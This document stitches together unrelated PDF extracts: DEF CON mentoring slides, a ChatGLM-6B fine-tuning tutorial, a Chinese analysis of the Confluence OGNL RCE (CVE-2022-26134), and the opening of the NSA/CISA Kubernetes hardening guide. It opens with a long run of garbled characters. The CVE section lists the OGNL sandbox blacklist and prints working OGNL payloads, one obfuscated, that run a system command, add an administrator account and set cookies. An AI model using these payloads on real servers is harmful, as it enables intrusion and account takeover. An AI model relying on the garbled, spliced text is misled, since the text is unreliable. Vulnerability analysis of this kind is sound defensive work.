KCACMLCEPV + 2KICCEPV$IL=CKCACMLKEC$AIPP$EC.IPPLC"ALKDE" FKICTC$I " =CKCACML$AIPP" FKIC " " AIPP " PL ""DIPC) CL+KCACMLCEPV$EC0DDCASC2KICLCIP$CL) TFIC$FPCW $$$$$$ $$$$$$ _ardkhp _adkhp mobqgfceinl( $ FKICMLACPPL$I $ FKICTC$I OTICCARR4SSO8AE3NV8NCERRN ESEDR/RSACS8AE3NV8NCERRN """""" gd_cifjealhb]nm ,HADEID FNV8NCERRN RTFFI "FNV RNS5D CARR CN"OIESN"ES"EIE"CNE"ONCER RN"4SSO8AE3NV8NCERRN . OTICARSACSCARR/RSACS8AE3NV8NCERRN ESEDR/RSACS8NCERRN """"""""" """"""""" OTICUNIDONCERR4SSOEUESEPTERS EPTERS!4SSOEUESERONRE ERONRESHNVR572CEOSIN!EUES2CEOSIN S """"" SHIR"DN8NCERRE!ERONRE!58AAESEEST CASCH;HNVAEUA) """"""" OTICUNIDDN8NCERR4SSOEUESEPTERS EPTERS!4SSOEUESERONRE ERONRE!58AAESEES OAAESEES/SHNVR 572CEOSIN!EUES2CEOSIN """"""" S [[" 7ECSUA&(EPTERS"ES/SSITSE ENREPTERSASA0NSES IFUA&(TUA&(IRSACENF 8AEFNVTSIE0NSES """"""" """"""" IFSHIR"HAR<REASA0NUESOAE3NV5RSACE!UA&"ESSASEAE!CTESENTI!SHIR"ESEPTERSED3NV5EPTERS 58AAESEES UASHIR"CEASE8AAESEESEPTERS!ERONRE 5=AIAE>UASHIR"NUE5E8AAR5=AIAE>UA& UA"TIDUA!CNSES """"""""" ;DBNB=;BD=16B;DN!1.F FS """"""" """"""" 5BFN) S N5BFAB"ND" DO.F ) ABFNS AOFO4FBEBF DO.F ABF !N) """""" BNFDDN"ID S S 3;CNF5BDBR"=BDBRN) ;DBB3;C=BDBR5BF==5BFAO13BF!D2F=BF S ,5(&.===FO,5(&.=) ;; =="==,==5BF) ,1F5E ;B FO,1F5E;) 3;C1F5E FO3;C1F5E;B) 3;C"=3;C) "D) F) TBICCARR0A1IX;NCERRN ESEMDR0BRSACS1IX;NCERRN """""" gdcifjealhbnm -HAMDEID. AA1IX;NCERRN RTFFI. "BIX"AA RNS7D. CARR. CNL"ILESNM"ES"EMIME"CNE"NCER RN"0A1IX;NCERRN / TBIC7;AALESE=ES CEASE;AALESE=ESSS=EUES<EPTERS EPTERSSS=EUES<ERNMRE ERNMRE ERNMRE"RESHAACSE4MCNDIM >!) , ESTM;AALESE1TIDE"CEASE0A;AAL=ESEPTERS, " " CNL"ILESNM"EMIME"CNE"IL"NCERR"AALESE";AALESE1TIDE"CEASE0A;AAL=ES;AALESE1TIDE"AUA CNL"ILESNM"EMIME"CNE"IL"NCERR"AALESE";AALESE1TIDE"BTID;AALESE=ES;AALESE1TIDE"AUA( " " CNL"ILESNM"EMIME"CNE"IL"NCERR"AALESE"0A;AALESE=ES"IMIS TBICUNIDIMIS "" =SIML.BTFFE"SN=SIM, 3NCTLEMSUA, IFES98EADEL"CNMSAIMR EMCNDIM =SIMAAL:NDE .9TSIAS<ERNUE"ES4MCNDIM, UA.LSI"ARE=SIM>HNR4CESINMLAAL:NDE, ERE UA.LSI"ARE=SIML, 03 9 eal- lcj C E 04 a a c 1 2 3 4 . 31D 3 . 31D D 31D 3 31D 2 />/< />/< /*/>/</>/< / />/<-1-/-<</>/<*/>/</>/< - . <<. << />/< />/< 1 />/< /*/>/</>/< / <<///>-/ <</ />/< 1 />/< 1 />/< /*//>/</>/< / <<//>/<*//>/< <</ />/< 1 />/< 1 />/< /*//>/</>/< / <<//>-/ <</ />/< 1 </>/< 1 />/< //>/</>/< / <<//>/</>/< <</ />/< 1 />/< 1 />/< //>/</>/< / <</ <</ />/< 1 />/< 1 />/< //>/</>/< / <<//>-/ <</ />/< 1 />/< 1 />/< //>/</>/< / <<//>-/ <</ />/< 1 />/< 1 />/< /</>-//>/< / <</< <</ />/< 1 />/< />/< //>/</>/< / />/< - 1-/<<<</>/< />/< - />/< />/< 1 />/< //>/</>/< / <<//>-/ <</ />/< 1 - 3 . 12 21/2 21/2 tMAdw oiyanel PSesp302-ne., ne.5./,.cibbrvO s2/.1a/.1/m/.13/.1 wopxSA y33 -woecdt xv3/m3/lpr i3bec - .-/..-/. 21 WX.-/ 1 **-"*"* *"//*"*/** ** *** /**/* */* */**.**/** /* /* */* .riw2uxu 1- r2p/ gd -2ie22a2 , gpj42b-2v rc3 21=<= !!EEE=1<E>:>!3<1!21= <= !!EEEE>!""!0.-/3<1=1=3 <=1> !!EEE=1<E>:>!3<1!1> <= !!EEE=1<E>:>!3<1! 3<1->31>= !!EEE=1<E>:>!3<1!21= !!EEE=1<E>:>!3<1!21=!=21=" !!EEE=1<E>:>!3<1! !!EEE=1<E>:>!3<1!!=" !!EEE=1<E>:>!3<1!1> !!EEE=1<E>:>!3<1!1>!=1>" 1=LIM=H 21= *=3/31= 31 3><>1<=3=3*=3/3< !21= !21= <1= =1< 1=/==>:/3 !=1< 1=!1=!1= !<1= /. /.../. /.// /-/....- /.// /. /.-- /.../. .-..-/..-. /.-- 0
pdf
Marisa Fagan InfoSec Mentors Project DEF CON 2010 The InfoSec Mentors Project • Started May 2010 • 51 matches made so far • Based on volunteer interests and exp • “To introduce people in the Information Security Community to people they might not otherwise get to meet.” • World-wide participation What makes a good mentor? • Patience, enthusiasm, belief • Being an advocate • Recommendations to cut through the nonsense out there • Open doors What makes a good mentee? • Determination, Passion, Energy • Following through on suggestions • Add value to your mentor (Yes, you can!) • Maintain the relationship • Pay it forward Get involved! • www.infosecmentors.com • infosecmentors.blogspot.com • Pull up the newbies to a new level • Bring mentoring to your workplace • Make a difference!
pdf
Run ChatGLM-6B Finetune your ChatGLM from scratch! Run ChatGLM-6B 2023/05/21 1 TOC GLM Fintune Prerequisite: Mixed Precision, ZeRO P-tuning Full Parameter LoRA Deploy with Gradio Run ChatGLM-6B 2 GLM: Pretraining Run ChatGLM-6B 3 OpenSource GLM Series GLM Github Paper GLM-130B Github Paper ChatGLM-6B Github Blog can be finetuned on consumer-grade GPUs Run ChatGLM-6B 4 Demo Download ChatGLM-6B checkpoints Inference with ChatGLM-6B Finetuning P-Tuning (1 RTX3090 !) LoRA (1 RTX3090 !) Full Parameter Run ChatGLM-6B 5 Demo environemnt GPU: NVIDIA GeForce RTX 3090 This is not a must. 7GB is sufficient for P-tuning + 4-bit quantization Image: nvidia-pytorch:22.08-py3 Change your pip source pip config set global.extra-index-url https://pypi.tuna.tsinghua.edu.cn/simple # Writing to /opt/conda/pip.conf pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple # Writing to /opt/conda/pip.conf pip config set global.trusted-host https://pypi.tuna.tsinghua.edu.cn/simple # Writing to /opt/conda/pip.conf Run ChatGLM-6B 6 Download Checkpoint Option1: From HuggingFace Repo Step 1: Install git-lfs , Get Started Verify installation git lfs install # > Git LFS initialized. Step 2: Setup a ... Run ChatGLM-6B 7 Step 3: clone the repo git clone https://huggingface.co/THUDM/chatglm-6b # Cloning into 'chatglm-6b'... # remote: Enumerating objects: 522, done. # remote: Counting objects: 100% (522/522), done. # remote: Compressing objects: 100% (495/495), done. # remote: Total 522 (delta 321), reused 54 (delta 27), pack-reused 0 # Receiving objects: 100% (522/522), 158.52 KiB | 823.00 KiB/s, done. # Resolving deltas: 100% (321/321), done. Seems to stuck here is expected behaviour It's downloading the checkpoint ... Use bwm-ng to monitor network traffic Run ChatGLM-6B 8 Option 2: Downloading Manually Useful when downloading from huggingface repo is slow Step 1: clone the repo, skip large files GIT_LFS_SKIP_SMUDGE=1 git clone https://huggingface.co/THUDM/chatglm-6b # Cloning into 'chatglm-6b'... # remote: Enumerating objects: 522, done. # remote: Counting objects: 100% (522/522), done. # remote: Compressing objects: 100% (495/495), done. # remote: Total 522 (delta 321), reused 54 (delta 27), pack-reused 0 # Receiving objects: 100% (522/522), 159.22 KiB | 1.37 MiB/s, done. # Resolving deltas: 100% (321/321), done. Run ChatGLM-6B 9 Step 2: Download large files from Tsinghua Cloud download one by one is painful ... git clone [email protected]:chenyifanthu/THU-Cloud-Downloader.git cd THU-Cloud-Downloader pip install argparse requests tqdm python main.py \ --link https://cloud.tsinghua.edu.cn/d/fb9f16d6dc8f482596c2/ \ --save ../chatglm-6b/ # Start downloading? [y/n] y # [1/11] Downloading File: ../chatglm-6b/LICENSE # 100%|██████| 11.1k/11.1k [00:00<00:00, 316kiB/s] Run ChatGLM-6B 10 Clone Source Code git clone [email protected]:THUDM/ChatGLM-6B.git Install dependencies 1. Install torch>=1.10 manually according to your CUDA Version See Previous Versions 2. Run pip install -r requirements.txt Run ChatGLM-6B 11 Play with ChatGLM-6B in CLI Specify model path # cli_demo.py tokenizer = AutoTokenizer\ .from_pretrained("THUDM/chatglm-6b", trust_remote_code=True) model = AutoModel\ .from_pretrained("THUDM/chatglm-6b", trust_remote_code=True)\ .half().cuda() Run python cli_demo.py Run ChatGLM-6B 12 Play with ChatGLM-6B in Gradio Specify model path Run python web_demo.py Interact with ChatGLM-6B in a browser VSCode port forwarding can be useful Run ChatGLM-6B 13 Fine-tuning: Mixed Precision Run ChatGLM-6B 14 Fine-tuning: Mixed Precision Run ChatGLM-6B 15 Fine-tuning: Mixed Precision Run ChatGLM-6B 16 ZeRO: why not DP or MP? Run ChatGLM-6B Model states often consume the largest amount of memory during training. DP has good compute/communication efficiency but poor memory efficiency while MP can have poor compute/communication efficiency. DP replicates the entire model states across all data parallel process resulting in redundant memory consumption; while MP partition these states to obtain high memory efficiency, but often result in too finegrained computation and expensive communication that is less scaling efficient. “ “ 17 ZeRO:Where the memory goes? Run ChatGLM-6B 18 ZeRO Stages Run ChatGLM-6B 19 ZeRO Stages Run ChatGLM-6B 20 P-tuning v2 Saves GPU memory & training time Similar performace Run ChatGLM-6B 21 P-tuning v2: Results Run ChatGLM-6B 22 P-tuning @ ChatGLM-6B Example: AdGen Dependencies pip install rouge_chinese nltk jieba datasets Dataset https://cloud.tsinghua.edu.cn/f/b3f119a008264b1cabd1/?dl=1 { "content": "类型#上衣*版型#宽松*版型#显瘦*图案#线条*衣样式#衬衫*衣袖型#泡泡袖*衣款式#抽绳", "summary": "这件衬衫的款式非常的宽松,利落的线条可以很好的隐藏身材上的小缺点,穿在身上有着很好的显瘦效果。 领口装饰了一个可爱的抽绳,漂亮的绳结展现出了十足的个性,配合时尚的泡泡袖型,尽显女性甜美可爱的气息。" } Run ChatGLM-6B 23 Specify model path, dataset path & device ordinal in train.sh & evaluate.sh Run bash train.sh Default we use 4-bit quantization, this may take a while ... remove --quantization_bit 4 to use fp16 quantizaion GPU memory Training Time @ 3k steps / 13GB ~2hrs 4bit 7GB ~3hrs Run ChatGLM-6B 24 See results bash evaluate.sh This will make generation on the test set Run ChatGLM-6B 25 Full parameter finetuning Install deepspeed pip install deepspeed Specify model and dataset in ds_train_finetune.sh and evaluate_finetune.sh 3090 is in sufficient for this task ... Run bash ds_train_finetune.sh Run ChatGLM-6B 26 FAQs: Try just rerun Traceback (most recent call last): File "main.py", line 435, in <module> main() File "main.py", line 374, in main train_result = trainer.train(resume_from_checkpoint=checkpoint) File "/root/ChatGLM-6B/ptuning/trainer.py", line 1635, in train return inner_training_loop( File "/root/ChatGLM-6B/ptuning/trainer.py", line 1704, in _inner_training_loop deepspeed_engine, optimizer, lr_scheduler = deepspeed_init( File "/opt/conda/lib/python3.8/site-packages/transformers/deepspeed.py", line 378, in deepspeed_init deepspeed_engine, optimizer, _, lr_scheduler = deepspeed.initialize(**kwargs) File "/opt/conda/lib/python3.8/site-packages/deepspeed/__init__.py", line 165, in initialize engine = DeepSpeedEngine(args=args, File "/opt/conda/lib/python3.8/site-packages/deepspeed/runtime/engine.py", line 266, in __init__ self._configure_distributed_model(model) File "/opt/conda/lib/python3.8/site-packages/deepspeed/runtime/engine.py", line 1066, in _configure_distributed_model self.data_parallel_group = groups._get_data_parallel_group() File "/opt/conda/lib/python3.8/site-packages/deepspeed/utils/groups.py", line 327, in _get_data_parallel_group return _clone_world_group() File "/opt/conda/lib/python3.8/site-packages/deepspeed/utils/groups.py", line 315, in _clone_world_group _WORLD_GROUP = dist.new_group(ranks=range(dist.get_world_size())) File "/opt/conda/lib/python3.8/site-packages/deepspeed/comm/comm.py", line 179, in new_group return cdb.new_group(ranks) File "/opt/conda/lib/python3.8/site-packages/deepspeed/comm/torch.py", line 234, in new_group return torch.distributed.new_group(ranks) File "/opt/conda/lib/python3.8/site-packages/torch/distributed/distributed_c10d.py", line 3006, in new_group _store_based_barrier(global_rank, default_store, timeout) File "/opt/conda/lib/python3.8/site-packages/torch/distributed/distributed_c10d.py", line 239, in _store_based_barrier store.add(store_key, 1) RuntimeError: Broken pipe Run ChatGLM-6B 27 Contention? add a lock # Load pretrained model and tokenizer with FileLock("model.lock"): config = AutoConfig.from_pretrained(model_args.model_name_or_path, trust_remote_code=True) ... with FileLock("model.lock"): tokenizer = AutoTokenizer.from_pretrained(model_args.model_name_or_path, trust_remote_code=True) if model_args.ptuning_checkpoint is not None: ... else: with FileLock("model.lock"): model = AutoModel.from_pretrained(model_args.model_name_or_path, config=config, trust_remote_code=True) Just don't start simultaneously Run ChatGLM-6B 28 LoRA Hu, Edward J., et al. "LoRA: Low-Rank Adaptation of Large Language Models." International Conference on Learning Representations. Run ChatGLM-6B 29 LoRA Suppose pre-trained weight , input Fine-tuning: is not necessarily full-rank! LoRA: suppose has rank , where trainable parameters are significantly reduced Run ChatGLM-6B 30 LoRA Run ChatGLM-6B 31 LoRA @ ChatGLM-6B We procede the demo with a community implementation https://github.com/yuanzhoulvpi2017/zero_nlp Ref: It's implemented on a previous version of ChatGLM-6B Download checkpoint a previous archive from HuggingFace git clone https://huggingface.co/yuanzhoulvpi/chatglm6b-dddd Note that git-lfs is required Run ChatGLM-6B 32 LoRA @ ChatGLM-6B This Notebook demonstrates how to finetune ChatGLM-6B with LoRA on alpaca_chinese dataset Now we show steps to reuse the code and finetune on AdGen dataset Understand code behaviour and your requirements Make modifications accordingly Sanity check, debug, run Evaluate Takes ~15GB GPU memory Run ChatGLM-6B 33 Thanks Questions? Run ChatGLM-6B 34
pdf
CVE-2022-26134 Confluence Server Data Center OGNL RCE 环境 windows server 2016 + Confluence 7.15.1 下载exe然后直接下一步下一步就行了。 web在8090端口,8000是rmi端口。 安装试用版,输入授权码即可。 然后配置数据库 需要额外装一个pgsql,创建一个名为confluence的数据库。 接着选示范站点,然后选在confluence中管理用户。 配置管理员账号密码,然后就安装完成了。 分析 官方通告上写了用新的xwork-1.0.3-atlassian-10.jar替换老的xwork-1.0.3-atlassian-8.jar diff补丁发现 移除了 com.opensymphony.xwork.util.TextParseUtil#translateVariables 的调用,跟进这个函 数发现这里是ognl表达式执行点。 接下来分两部分来写这个洞 1. 正向数据流 2. 绕过沙箱 正向来看 断点打在 com.opensymphony.xwork.ActionChainResult#execute 然后看堆栈 在filter之后由 com.opensymphony.webwork.dispatcher.ServletDispatcher#service 做请求分发 getNameSpace从url中获取最后一个斜线之前的内容。 然后走到 com.atlassian.confluence.servlet.ConfluenceServletDispatcher#serviceAction ConfluenceServletDispatcher是ServletDispatcher的子类 在serviceAction中先调用createActionProxy创建一个代理对象,然后调用代理对象的execute函数,在 代理对象中我们的payload保存至namespace字段 接着到 com.opensymphony.xwork.DefaultActionProxy#execute 这里继续调用 com.opensymphony.xwork.DefaultActionInvocation#invoke 其中this.interceptors是拦截器,Confluence默认有28个 然后将自身this传递给 interceptor.intercept(this) ,以 com.opensymphony.xwork.interceptor.AroundInterceptor 拦截器为例,仍会调用 invocation.invoke() 以此形成迭代循环,遍历所有拦截器,在某些拦截器中会返回resultCode为notpermitted 在 confluence-7.15.1.jar!\xwork.xml 中,notpermitted对应的type是chain chain对应 com.opensymphony.xwork.ActionChainResult 然后接着执行 this.executeResult() ,在executeResult中将this传递给 this.result.execute(this) 而 this.result 由 this.createResult() 创建而来,在createResult中会根据resultCode来构建结果 其中notpermitted对应的result类为 com.opensymphony.xwork.ActionChainResult ,所以会进入 com.opensymphony.xwork.ActionChainResult#execute 最后在这个地方有ognl,从http的servlet path传递给了ognl执行,造成rce。 沙箱 v7.15开始,Confluence在OGNL表达式解析时加入了沙箱设置。在 com.opensymphony.xwork.util.TextParseUtil#translateVariables 调用ognl时使用findValue findValue中存在安全校验 黑名单 sun.misc.Unsafe classLoader java.lang.System java.lang.ThreadGroup com.opensymphony.xwork.ActionContext                 java.lang.Compiler com.atlassian.applinks.api.ApplicationLinkRequestFactory java.lang.Thread com.atlassian.core.util.ClassLoaderUtils java.lang.ProcessBuilder java.lang.InheritableThreadLocal com.atlassian.core.util.ClassHelper class java.lang.Shutdown java.lang.ThreadLocal java.lang.Process java.lang.Package org.apache.tomcat.InstanceManager java.lang.Runtime javax.script.ScriptEngineManager javax.persistence.EntityManager org.springframework.context.ApplicationContext java.lang.SecurityManager java.lang.Object java.lang.Class java.lang.RuntimePermission javax.servlet.ServletContext java.lang.ClassLoader java.rmi sun.management org.apache.catalina.session java.jms com.atlassian.confluence.util.io com.google.common.reflect javax.sql java.nio com.atlassian.sal.api.net sun.invoke java.util.zip liquibase com.hazelcast org.apache.commons.httpclient com.atlassian.util.concurrent java.net freemarker.ext.jsp com.sun.jna net.java.ao javax sun.corba org.springframework.util.concurrent com.sun.jmx sun.misc javassist ognl org.apache.commons.exec com.atlassian.cache org.wildfly.extension.undertow.deployment                 java.lang.reflect io.atlassian.util.concurrent java.util.concurrent com.atlassian.confluence.util.http sun.tracing org.objectweb.asm freemarker.template net.sf.hibernate freemarker.core net.bytebuddy org.apache.tomcat freemarker.ext.rhino com.atlassian.media org.springframework.context org.apache.velocity javax.xml java.sql sun.reflect sun.net javax.persistence 白名单 还有一个不安全的表达式检查 org.javassist javax.naming org.apache.httpcomponents.httpclient com.atlassian.hibernate sun.nio com.atlassian.confluence.impl.util.sandbox com.google.common.net com.atlassian.filestore org.apache.commons.io com.atlassian.vcache jdk.nashorn sun.launcher oshi org.apache.bcel sun.rmi sun.tools.jar org.springframework.expression.spel com.opensymphony.xwork.util org.ow2.asm com.atlassian.confluence.setup.bandana org.quartz net.sf.cglib com.atlassian.activeobjects com.atlassian.utils.process sun.security com.atlassian.quartz javax.management sun.awt.shell com.google.common.cache org.apache.http.client java.io com.atlassian.confluence.util.sandbox java.util.jar com.atlassian.scheduler sun.print com.atlassian.failurecache com.google.common.io org.apache.catalina.core org.ehcache getClass getClassLoader net.sf.hibernate.proxy.HibernateProxy java.lang.reflect.Proxy net.java.ao.EntityProxyAccessor net.java.ao.RawEntity net.sf.cglib.proxy.Factory java.io.ObjectInputValidation net.java.ao.Entity com.atlassian.confluence.util.GeneralUtil java.io.Serializable 这里直接用Class.forName拿到关键类就行了,p牛给了payload 拓展 还有一些Result也调用了translateVariables ${Class.forName("com.opensymphony.webwork.ServletActionContext").getMethod("getR esponse",null).invoke(null,null).setHeader("X- CMD",Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineBy Name("nashorn").eval("eval(String.fromCharCode(118,97,114,32,115,61,39,39,59,118 ,97,114,32,112,112,32,61,32,106,97,118,97,46,108,97,110,103,46,82,117,110,116,10 5,109,101,46,103,101,116,82,117,110,116,105,109,101,40,41,46,101,120,101,99,40,3 9,105,100,39,41,46,103,101,116,73,110,112,117,116,83,116,114,101,97,109,40,41,59 ,119,104,105,108,101,32,40,49,41,32,123,118,97,114,32,98,32,61,32,112,112,46,114 ,101,97,100,40,41,59,105,102,32,40,98,32,61,61,32,45,49,41,32,123,98,114,101,97, 107,59,125,115,61,115,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114 ,67,111,100,101,40,98,41,125,59,115))"))} redirect com.atlassian.confluence.xwork.RedirectResult loginrequired com.atlassian.confluence.xwork.RedirectResult notsetup com.atlassian.confluence.xwork.RedirectResult notpermittedpersonal com.opensymphony.xwork.ActionChainResult forward com.opensymphony.webwork.dispatcher.ServletDispatcherResult websudorequired com.atlassian.confluence.xwork.RedirectResult atom03 com.atlassian.xwork.results.RssResult rss1 com.atlassian.xwork.results.RssResult httpmethodnotallowed com.opensymphony.webwork.dispatcher.HttpHeaderResult atom10 com.atlassian.xwork.results.RssResult licenseexpired com.atlassian.confluence.setup.webwork.EncodingVelocityResult rss com.atlassian.xwork.results.RssResult readonly com.opensymphony.xwork.ActionChainResult notpermitted com.opensymphony.xwork.ActionChainResult rss2 com.atlassian.xwork.results.RssResult notfound com.opensymphony.xwork.ActionChainResult invalidmethod com.opensymphony.webwork.dispatcher.HttpHeaderResult licenseusersexceeded com.atlassian.confluence.setup.webwork.EncodingVelocityResult alreadysetup com.atlassian.confluence.setup.webwork.EncodingVelocityResult 简单看了看,没有可控点,先搁着吧。 一些其他利用姿势 添加用户 SetCookie 文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。 pagenotfound com.opensymphony.webwork.dispatcher.ServletDispatcherResult atom com.atlassian.xwork.results.RssResult ${#this.getUserAccessor().addUser('test','test@1234','[email protected]','Test',@co m.atlassian.confluence.util.GeneralUtil@splitCommaDelimitedString("confluence- administrators,confluence-users"))} ${@com.atlassian.confluence.util.GeneralUtil@setCookie("key","value")}
pdf
National Security Agency Cybersecurity and Infrastructure Security Agency Cybersecurity Technical Report Kubernetes Hardening Guidance August 2021 S/N U/OO/168286-21 PP-21-1104 Version 1.0 U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 ii National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency Notices and history Document change history Date Version Description August 2021 1.0 Initial release Disclaimer of warranties and endorsement The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not necessarily constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes. Trademark recognition Kubernetes is a registered trademark of The Linux Foundation. ▪ SELinux is a registered trademark of the National Security Agency. ▪ AppArmor is a registered trademark of SUSE LLC. ▪ Windows and Hyper-V are registered trademarks of Microsoft Corporation. ▪ ETCD is a registered trademark of CoreOS, Inc. ▪ Syslog-ng is a registered trademark of One Identity Software International Designated Activity Company. ▪ Prometheus is a registered trademark of The Linux Foundation. ▪ Grafana is a registered trademark of Raintank, Inc. dba Grafana Labs ▪ Elasticsearch and ELK Stack are registered trademarks of Elasticsearch B.V. Copyright recognition Information, examples, and figures in this document are based on Kubernetes Documentation by The Kubernetes Authors, published under a Creative Commons Attribution 4.0 license. U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 iii National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency Publication information Author(s) National Security Agency (NSA) Cybersecurity Directorate Endpoint Security Cybersecurity and Infrastructure Security Agency (CISA) Contact information Client Requirements / General Cybersecurity Inquiries: Cybersecurity Requirements Center, 410-854-4200, [email protected] Media inquiries / Press Desk: Media Relations, 443-634-0721, [email protected] For incident response resources, contact CISA at [email protected]. Purpose NSA and CISA developed this document in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders. U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 iv National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency Executive summary Kubernetes® is an open-source system that automates the deployment, scaling, and management of applications run in containers, and is often hosted in a cloud environment. Using this type of virtualized infrastructure can provide several flexibility and security benefits compared to traditional, monolithic software platforms. However, securely managing everything from microservices to the underlying infrastructure introduces other complexities. The hardening guidance detailed in this report is designed to help organizations handle associated risks and enjoy the benefits of using this technology. Three common sources of compromise in Kubernetes are supply chain risks, malicious threat actors, and insider threats. Supply chain risks are often challenging to mitigate and can arise in the container build cycle or infrastructure acquisition. Malicious threat actors can exploit vulnerabilities and misconfigurations in components of the Kubernetes architecture, such as the control plane, worker nodes, or containerized applications. Insider threats can be administrators, users, or cloud service providers. Insiders with special access to an organization’s Kubernetes infrastructure may be able to abuse these privileges. This guidance describes the security challenges associated with setting up and securing a Kubernetes cluster. It includes hardening strategies to avoid common misconfigurations and guide system administrators and developers of National Security Systems on how to deploy Kubernetes with example configurations for the recommended hardening measures and mitigations. This guidance details the following mitigations:  Scan containers and Pods for vulnerabilities or misconfigurations.  Run containers and Pods with the least privileges possible.  Use network separation to control the amount of damage a compromise can cause.  Use firewalls to limit unneeded network connectivity and encryption to protect confidentiality.  Use strong authentication and authorization to limit user and administrator access as well as to limit the attack surface. U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 v National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency  Use log auditing so that administrators can monitor activity and be alerted to potential malicious activity.  Periodically review all Kubernetes settings and use vulnerability scans to help ensure risks are appropriately accounted for and security patches are applied. For additional security hardening guidance, see the Center for Internet Security Kubernetes benchmarks, the Docker and Kubernetes Security Technical Implementation Guides, the Cybersecurity and Infrastructure Security Agency (CISA) analysis report, and Kubernetes documentation [1], [2], [3], [6]. U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 vi National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency Contents Kubernetes Hardening Guidance ……………………………………………………..i Executive summary ................................................................................................................. iv Introduction ............................................................................................................................... 1 Recommendations ................................................................................................................... 2 Architectural overview ............................................................................................................. 3 Threat model ............................................................................................................................. 5 Kubernetes Pod security .......................................................................................................... 7 “Non-root” containers and “rootless” container engines ........................................................... 7 Immutable container file systems ............................................................................................. 8 Building secure container images ............................................................................................ 8 Pod Security Policies ............................................................................................................. 10 Protecting Pod service account tokens .................................................................................. 11 Hardening container engines ................................................................................................. 12 Network separation and hardening ....................................................................................... 13 Namespaces ......................................................................................................................... 13 Network policies .................................................................................................................... 14 Resource policies .................................................................................................................. 14 Control plane hardening ........................................................................................................ 15 Etcd ................................................................................................................................... 16 Kubeconfig Files ................................................................................................................ 16 Worker node segmentation .................................................................................................... 16 Encryption ............................................................................................................................. 17 Secrets .................................................................................................................................. 17 Protecting sensitive cloud infrastructure ................................................................................ 18 Authentication and authorization .......................................................................................... 18 Authentication ........................................................................................................................ 19 Role-based access control .................................................................................................... 20 Log auditing ............................................................................................................................ 22 Logging ................................................................................................................................. 22 Kubernetes native audit logging configuration .................................................................... 24 Worker node and container logging ................................................................................... 25 Seccomp: audit mode ........................................................................................................ 26 SYSLOG ............................................................................................................................ 27 SIEM platforms ...................................................................................................................... 27 Alerting .................................................................................................................................. 28 Service meshes ..................................................................................................................... 29 Fault tolerance ....................................................................................................................... 30 Tools ..................................................................................................................................... 31 Upgrading and application security practices ...................................................................... 32 Works cited ............................................................................................................................. 33 Appendix A: Example Dockerfile for non-root application .................................................. 34 Appendix B: Example deployment template for read-only file systemfilesystem .............. 35 U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 vii National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency Appendix C: Example Pod Security Policy ........................................................................... 36 Appendix D: Example namespace ......................................................................................... 38 Appendix E: Example network policy .................................................................................... 39 Appendix F: Example LimitRange ......................................................................................... 40 Appendix G: Example ResourceQuota .................................................................................. 41 Appendix H: Example encryption .......................................................................................... 42 Appendix I: Example KMS configuration .............................................................................. 43 Appendix J: Example pod-reader RBAC Role ....................................................................... 45 Appendix K: Example RBAC RoleBinding and ClusterRoleBinding ................................... 46 Appendix L: Audit Policy ........................................................................................................ 48 Appendix M: Example flags with which to submit Audit Policy file to kube-apiserver ...... 49 Appendix N: Webhook configuration .................................................................................... 51 Figures Figure 1: High-level view of Kubernetes cluster components .............................................. 1 Figure 2: Kubernetes architecture .......................................................................................... 3 Figure 3: Pod components with sidecar proxy as logging container ................................... 7 Figure 4: A container build workflow, optimized with webhook and admission controller 9 Figure 5: Cluster leveraging service mesh to integrate logging with network security .....30 Tables Table I: Pod Security Policy components .............................................................................10 Table II: Control plane ports ...................................................................................................15 Table III: Worker node ports ...................................................................................................17 U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 1 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency Introduction Kubernetes, frequently abbreviated “K8s”, is an open-source container-orchestration system used to automate deploying, scaling, and managing containerized applications. It manages all elements that make up a cluster, from each microservice in an application to entire clusters. Using containerized applications as microservices can provide more flexibility and security benefits compared to monolithic software platforms, but also can introduce other complexities. Figure 1: High-level view of Kubernetes cluster components This guidance focuses on security challenges and suggests hardening strategies where possible that are applicable to administrators of National Security Systems and critical infrastructure. Although this guidance is tailored to National Security Systems and critical infrastructure organizations, administrators of federal and state, local, tribal, and territorial (SLTT) government networks are also encouraged to implement the recommendations provided. Kubernetes clusters can be complex to secure and are often abused in compromises that exploit their misconfigurations. The following guidance offers specific security configurations that can help build more secure Kubernetes clusters. U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 2 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency Recommendations A summary of the key recommendations from each section are:  Kubernetes Pod security  Use containers built to run applications as non-root users  Where possible, run containers with immutable file systems  Scan container images for possible vulnerabilities or misconfigurations  Use a Pod Security Policy to enforce a minimum level of security including:  Preventing privileged containers  Denying container features frequently exploited to breakout, such as hostPID, hostIPC, hostNetwork, allowedHostPath  Rejecting containers that execute as the root user or allow elevation to root  Hardening applications against exploitation using security services such as SELinux®, AppArmor®, and seccomp  Network separation and hardening  Lock down access to control plane nodes using a firewall and role-based access control (RBAC)  Further limit access to the Kubernetes etcd server  Configure control plane components to use authenticated, encrypted 